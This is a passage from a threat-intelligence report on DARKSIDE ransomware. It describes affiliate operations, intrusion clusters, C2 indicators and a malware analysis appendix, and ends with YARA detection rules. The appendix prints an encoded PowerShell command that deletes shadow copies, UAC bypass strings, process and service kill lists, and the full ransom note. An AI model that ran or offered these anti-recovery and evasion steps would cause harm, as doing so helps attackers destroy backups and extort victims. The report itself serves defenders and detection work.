to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands April 14, 2021 (V2.0)   Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support. 21-00008435 Available DDoS of targets (Layer 3, Layer 7) Sought a partner to provide network accesses to them and a person or team with pentesting skills Table 1: Notable features and updates listed on DARKSIDE advertisement thread (exploit.in) DARKSIDE Affiliates DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2). Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). For more information on these threat actors, please see Mandiant Advantage. Figure 2: DARKSIDE affiliate panel Attack Lifecycle Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. For more information on uncategorized threats, refer to our post, “DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.” These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3). Additional details on three of these UNC groups are included below. Figure 3: TTPs seen throughout DARKSIDE ransomware engagements UNC2628 UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER. In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628. In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials. UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username ‘spservice’. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. BEACON command and control (C2) infrastructure attributed to this actor has included the following:hxxps://104.193.252[.]197:443/ hxxps://162.244.81[.]253:443/ hxxps://185.180.197[.]86:443/ hxxps://athaliaoriginals[.]com/ hxxps://lagrom[.]com:443/font.html hxxps://lagrom[.]com:443/night.html hxxps://lagrom[.]com:443/online.html hxxps://lagrom[.]com:443/send.html hxxps://lagrom[.]com/find.html?key=id#- In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation. The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources. UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads. This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\.\pipe\UIA_PIPE_” Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.  Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON. Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’. UNC2628 has also employed F-Secure Labs’ Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor’s other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic. The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began. UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files. The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.C:\run\ C:\home\ C:\tara\ C:\Users\[username]\Music\ C:\Users\Public UNC2659 UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites. The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed. The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.hxxps://dl.teamviewer[.]com/download/version_15x/TeamViewer_Setup.exe The threat actor appeared to download the file rclone.exe directly from rclone[.]org – hxxps://downloads.rclone[.]org/v1.54.0/rclone-v1.54.0-windows-amd64.zip. The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service. The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol. Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images. UNC2465 UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor. UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.   UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments. The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network. UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet. Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware. UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note. Implications We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim’s cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021. Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: “Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment” and the linked white paper. Acknowledgements Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan. Appendix A: DARKSIDE Ransomware Analysis DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4). The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences: The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed. Included a persistence mechanism in which the malware creates and launches itself as a service. Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators’ group, it is used for network enumeration and file permission access. Figure 4: DARKSIDE build configuration options appearing in the administration panel Host-Based Indicators Persistence Mechanism Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., “.e98fc8f7”) that are also appended by the malware to various other artifacts it created.  This string of characters is referenced as <ransom_ext>. : Service Name: <ransom_ext> Description: <ransom_ext> Filesystem Artifacts Created Files %CD%\LOG<ransom_ext>.TXT README<ransom_ext>.TXT <original_filename_plus_ext><ransom_ext> May version: %PROGRAMDATA%\<ransom_ext>.ico Registry Artifacts The DARKSIDE version observed in May sets the following registry key: HKCR\<ransom_ext>\DefaultIcon\<ransom_ext>\DefaultIcon=%PROGRAMDATA%\<ransom_ext>.ico Details Configuration The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware’s configuration size is 0xBE9 bytes. A portion of the decrypted configuration is shown in Figure 5. 00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ……………. 00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ……………. 00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ……………. 00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ……………. 00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ……………. 00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ……………. 00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ……………. 00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ……………. 00000080  95 AA A8 7C 2B 6A D5 12 0E 73 B3 7D BD 16 25 62  •ª¨|+jÕ..s³}½.%b 00000090  A4 A8 BF 19 73 F7 E0 BC DF 02 A8 94 32 CF 0C C0  ¤¨¿.s÷à¼ß.¨”2Ï.À 000000A0  C5 83 0F 14 66 02 87 EE FD 29 96 DF 02 05 C1 12  Ń..f.‡îý)–ß..Á. 000000B0  3E 43 A7 59 E1 F0 C4 5D AE E1 20 2E 77 D9 CA 3C  >C§YáðÄ]®á .wÙÊ< 000000C0  AD C6 BC 84 75 1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f 000000D0  44 73 79 E1 E4 69 C3 CA 1B C1 76 63 65 95 EA CA  DsyáäiÃÊ.Ávce•êÊ 000000E0  F6 10 68 0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70  ö.h.Î6aùW¹.P1Ôáp 000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA 00000100  E5 0A 00 00 02 6E 01 02 15 03 43 01 8E 24 0E 72  å….n….C.Ž$.r <cut> Figure 5: Partial decrypted configuration The sample’s 0x80-byte RSA public key blob begins at offset 0x80. The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated. The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer. The decompressed bytes include the ransom note and other elements of the malware’s configuration described as follows (e.g., processes to terminate, files to ignore). The first 0x60 bytes of the decompressed configuration are shown in Figure 6. 00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01 01  ……………. 00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ……$.r.e.c.y. 00000020  63 00 6C 00 65 00 2E 00 62 00 69 00 6E 00 00 00  c.l.e…b.i.n… 00000030  63 00 6F 00 6E 00 66 00 69 00 67 00 2E 00 6D 00  c.o.n.f.i.g…m. 00000040  73 00 69 00 00 00 24 00 77 00 69 00 6E 00 64 00  s.i…$.w.i.n.d. 00000050  6F 00 77 00 73 00 2E 00 7E 00 62 00 74 00 00 00  o.w.s…~.b.t… <cut> Figure 6: Partial decompressed configuration The first byte from Figure 6 indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows: 1: FULL 2: FAST Other values: AUTO The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware’s behavior. The malware takes the actions listed in Table 2 based on these values. Table 2 also identifies features that are enabled or disabled for the current sample. Offset Enabled Description 0x01 Yes Unknown 0x02 Yes Encrypt local disks 0x03 Yes Encrypt network shares 0x04 No Perform language check 0x05 Yes Delete volume shadow copies 0x06 Yes Empty Recycle Bins 0x07 No Self-delete 0x08 Yes Perform UAC bypass if necessary 0x09 Yes Adjust token privileges 0x0A Yes Logging 0x0B Yes Feature not used but results in the following strings being decrypted: https://google.com/api/version https://yahoo.com/v2/api 0x0C Yes Ignore specific folders 0x0D Yes Ignore specific files 0x0E Yes Ignore specific file extensions 0x0F Yes Feature not used; related to these strings: “backup” and “here_backups” 0x10 Yes Feature not used: related to these strings: “sql” and “sqlite” 0x11 Yes Terminate processes 0x12 Yes Stop services 0x13 Yes Feature not used; related to a buffer that contains the repeated string “blah” 0x14 Yes Drop ransom note 0x15 Yes Create a mutex Table 2: Configuration bits UAC Bypass If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb “runas.” If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. The decrypted strings listed in Figure 7 are used to perform this technique. Elevation:Administrator!new: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} Figure 7: Decrypted UAC bypass strings Encryption Setup The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., “.e98fc8f7”) and is referred to as <ransom_ext>. The file extension generation algorithm has been recreated in Python. If logging is enabled, the malware creates the log file LOG<ransom_ext>.TXT in its current directory. The malware supports the command line argument “-path,” which allows an attacker to specify a directory to target for encryption. The sample analyzed for this report is not configured to perform a system language check. If this functionality were enabled and the check succeeded, the string “This is a Russian-Speaking System, Exit” would be written to the log file and the malware would exit. Anti-Recovery Techniques The malware locates and empties Recycle Bins on the system. If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies. powershell -ep bypass -c “(0..61)|%{$s+=[char][byte](‘0x’+’4765742D576D694F626A6563742057696E33325F536861646F7763 6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20′.Substring(2*$_,2))};iex $s” Figure 8: Encoded PowerShell command The decoded command from Figure 4 is “Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}.” If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. The decrypted strings in Figure 9 are used to facilitate this process. root/cimv2 SELECT * FROM Win32_ShadowCopy Win32_ShadowCopy.ID=’%s’ Figure 9: Decrypted strings related to shadow copy deletion System Manipulation Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted. vss sql svc$ memtas mepocs sophos veeam backup Figure 10: Service-related strings The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11. GxVss GxBlr GxFWD GxCVD GxCIMgr Figure 11: Additional service-related strings in May version Any process name containing one of the strings listed in Figure 12 is terminated. sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc firefox tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad Figure 12: Process-related strings File Encryption Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in Figure 13. vmcompute.exe vmms.exe vmwp.exe svchost.exe TeamViewer.exe explorer.exe Figure 13: Processes not targeted for termination The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process. windows appdata application data boot google mozilla program files program files (x86) programdata system volume information tor browser windows.old intel msocache perflogs x64dbg public all users default Figure 14: Strings used to ignore directories The files listed in Figure 15 are ignored. $recycle.bin config.msi $windows.~bt $windows.~ws Figure 15: Ignored files The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16. autorun.inf boot.ini bootfont.bin bootsect.bak desktop.ini iconcache.db ntldrntuser.dat ntuser.dat logntuser.ini thumbs.db Figure 16: Additional ignored files in May version Additional files are ignored based on the extensions listed in Figure 17. .386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb Figure 17: Ignored file extensions Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx. Each key is encrypted using the embedded RSA-1024 public key. Ransom Note The malware writes the ransom note shown in Figure 18 to README<ransom_ext>.TXT files written to directories it traverses. ———– [ Welcome to Dark ] ————-> What happend? ———————————————- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us – universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ———————————————- First of all we have uploaded more then 100 GB data. Example of data:  – Accounting data  – Executive data  – Sales data  – Customer Support data  – Marketing data  – Quality data  – And more other… Your personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED> The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: – To provide you the evidence of stolen data – To give you universal decrypting tool for all encrypted files. – To delete all the stolen data. What guarantees? ———————————————- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ———————————————- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED> When you open our website, put the following data in the input form: Key: <REDACTED> !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!! Figure 18: Ransom note Decrypted Strings Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX https://google.com/api/version https://yahoo.com/v2/api sql sqlite $recycle.bin config.msi $windows.~bt $windows.~ws windows appdata application data boot google mozilla program files program files (x86) programdata system volume information tor browser windows.old intel msocache perflogs x64dbg public all users default 386 adv ani bat bin cab cmd com cpl cur deskthemepack diagcab diagcfg diagpkg dll drv exe hlp icl icns ico ics idx ldf lnk mod mpa msc msp msstyles msu nls nomedia ocx prf ps1 rom rtp scr shs spl sys theme themepack wpx lock key hta msi pdb vmcompute.exe vmms.exe vmwp.exe svchost.exe TeamViewer.exe explorer.exe oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc firefox tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad vss sql svc$ memtas mepocs sophos veeam backup \r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahbl ahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblah blahblah\r\nblahblahblah\r\n \r\n———– [ Welcome to Dark ] ————->\r\n\r\nWhat happend?\r\n———————————————-\r\nYour computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.\r\nBut you can restore everything by purchasing a special program from us – universal decryptor. This program will restore all your network.\r\nFollow our instructions below and you will recover all your data.\r\n\r\nData leak\r\n———————————————-\r\nFirst of all we have uploaded more then 100 GB data.\r\n\r\nExample of data:\r\n – Accounting data\r\n – Executive data\r\n – Sales data\r\n – Customer Support data\r\n – Marketing data\r\n – Quality data\r\n – And more other…\r\n\r\nYour personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>The data is preloaded and will be automatically published if you do not pay.\r\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\r\n\r\nWe are ready:\r\n- To provide you the evidence of stolen data\r\n- To give you universal decrypting tool for all encrypted files.\r\n- To delete all the stolen data.\r\n\r\nWhat guarantees?\r\n———————————————-\r\nWe value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.\r\nAll our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.\r\nWe guarantee to decrypt one file for free. Go to the site and contact us.\r\n\r\nHow to get access on website? \r\n———————————————-\r\nUsing a TOR browser:\r\n1) Download and install TOR browser from this site: https://torproject.org/\r\n2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>\r\n\r\nWhen you open our website, put the following data in the input form:\r\nKey:\r\<REDACTED>\r\n\r\n!!! DANGER !!!\r\nDO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n!!! DANGER !!!\r\n -path INF DBG /C DEL /F /Q  >> NUL ComSpec README .TXT Start Encrypting Target Folder Encrypt Mode – AUTO Started %u I/O Workers Encrypted %u file(s) Start Encrypt [Handle %u] File Encrypted Successful Encrypt Mode – FAST Encrypt Mode – FULL This is a Russian-Speaking System, Exit System Language Check Encrypting Network Shares Encrypting Local Disks README .TXT Encrypt Mode – AUTO Started %u I/O Workers Encrypted %u file(s) Start Encrypt [Handle %u] File Encrypted Successful Encrypt Mode – FAST Encrypt Mode – FULL Terminating Processes Deleting Shadow Copies Uninstalling Services Emptying Recycle Bin This is a Russian-Speaking System, Exit System Language Check Start Encrypting All Files powershell -ep bypass -c “(0..61)|%{$s+=[char][byte](‘0x’+’4765742D576D694F626A6563742057696E33325F536861646F7763 6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20′.Substring(2 *$_,2))};iex $s” root/cimv2 WQL SELECT * FROM Win32_ShadowCopy ID Win32_ShadowCopy.ID=’%s’ .exe LOG%s.TXT README%s.TXT Software\Classes\exefile\shell\open\command \slui.exe runas Elevation:Administrator!new: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} explorer.exe Figure 19: Decrypted strings Appendix B: Indicators for Detection and Hunting Yara Detections The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization’s own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes. rule Ransomware_Win_DARKSIDE_v1__1 {     meta:         author = “FireEye”         date_created = “2021-03-22”         description = “Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”         md5 = “1a700f845849e573ab3148daef1a3b0b”        strings:         $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }     condition:         (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts } Figure 20: DARKSIDE YARA rule rule Dropper_Win_Darkside_1 {     meta:         author = “FireEye”         date_created = “2021-05-11”         description = “Detection for on the binary that was used as the dropper leading to DARKSIDE.”     strings:         $CommonDLLs1 = “KERNEL32.dll” fullword         $CommonDLLs2 = “USER32.dll” fullword         $CommonDLLs3 = “ADVAPI32.dll” fullword         $CommonDLLs4 = “ole32.dll” fullword         $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }         $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }         $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }     condition:         filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes } Figure 21: DARKSIDE Dropper YARA rule rule Backdoor_Win_C3_1 {     meta:         author = “FireEye”         date_created = “2021-05-11”         description = “Detection to identify the Custom Command and Control (C3) binaries.”         md5 = “7cdac4b82a7573ae825e5edb48f80be5”     strings:         $dropboxAPI = “Dropbox-API-Arg”         $knownDLLs1 = “WINHTTP.dll” fullword         $knownDLLs2 = “SHLWAPI.dll” fullword         $knownDLLs3 = “NETAPI32.dll” fullword         $knownDLLs4 = “ODBC32.dll” fullword         $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }         $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }         $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }     condition:         filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*))) Figure 22: Custom Command and Control (C3) YARA rule Detecting DARKSIDE FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations Platform(s) Detection Name Network Security Email Security Detection On Demand Malware Analysis File Protect Ransomware.SSL.DarkSide Trojan.Generic Ransomware.Linux.DARKSIDE Ransomware.Win.Generic.MVX Ransomware.Win.DARKSIDE.MVX Ransomware.Linux.DARKSIDE.MVX Ransomware.Win32.DarkSide.FEC3 FE_Ransomware_Win_DARKSIDE_1 FE_Ransomware_Win32_DARKSIDE_1 FE_Ransomware_Linux64_DARKSIDE_1 FE_Ransomware_Linux_DARKSIDE_1 FEC_Trojan_Win32_Generic_62 FE_Loader_Win32_Generic_177 FE_Loader_Win32_Generic_197 FE_Backdoor_Win_C3_1 FE_Backdoor_Win32_C3_1 FE_Backdoor_Win32_C3_2 FE_Backdoor_Win_C3_2 Backdoor.Win.C3 FE_Dropper_Win_Darkside_1 Endpoint Security Real-Time (IOC) BABYMETAL (BACKDOOR) DARKSIDE RANSOMWARE (FAMILY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE B (METHODOLOGY) Malware Protection(AV/MG) Generic.mg.* Gen:Heur.FKP.17 Gen:Heur.Ransom.RTH.1 Gen:[email protected] Gen:Variant.Razy.* Trojan.CobaltStrike.CB Trojan.GenericKD.* Trojan.Linux.Ransom.H UAC Protect Malicious UAC bypass program detected Helix VPN ANALYTICS [Abnormal Logon] WINDOWS ANALYTICS [Abnormal RDP Logon] TEAMVIEWER CLIENT [User-Agent] WINDOWS METHODOLOGY [Plink Reverse Tunnel] WINDOWS METHODOLOGY – SERVICES [PsExec] Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. VID Title A101-700  Malicious File Transfer – DARKSIDE, Download, Variant #2  A101-701  Malicious File Transfer – DARKSIDE, Download, Variant #3  A101-702  Malicious File Transfer – DARKSIDE, Download, Variant #4  A101-703  Malicious File Transfer – DARKSIDE, Download, Variant #5  A101-704  Malicious File Transfer – DARKSIDE, Download, Variant #6  A101-705  Malicious File Transfer – DARKSIDE, Download, Variant #7  A101-706  Malicious File Transfer – DARKSIDE, Download, Variant #8  A101-707  Malicious File Transfer – DARKSIDE, Download, Variant #9  A101-708  Malicious File Transfer – DARKSIDE, Download, Variant #10  A101-709  Malicious File 